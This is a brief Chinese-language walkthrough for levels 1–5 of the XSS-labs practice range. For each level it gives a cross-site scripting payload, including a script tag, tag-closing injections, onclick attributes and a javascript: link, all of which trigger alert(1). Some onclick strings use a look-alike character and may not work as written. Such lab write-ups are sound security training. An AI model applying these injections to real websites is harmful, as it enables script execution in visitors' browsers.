XSS-labs靶场通关攻略(1-5)

level-1

在url后加上<script>alert(1)</script>就可以出现弹框 

level-2

这一关需要闭合前面的HTML标签

闭合方式为"><script>alert(1)</script>

level-3

这一关使用点击事件来进行弹窗

’οnclick='alert(1)'

level4

1.正常输入<script>alert(1)</script>发现没有弹窗

2.点击f12查看网页源代码

3.输入"οnclick='javascript:alert(1)' 发现没有弹窗 点击搜索框就可以弹窗

level-5

1.输入正常js语句没有弹窗

2.点击f12查看网页源代码

3.构造一个a标签来进行跳转

"><a href=javascript:alert(1)>xss</a>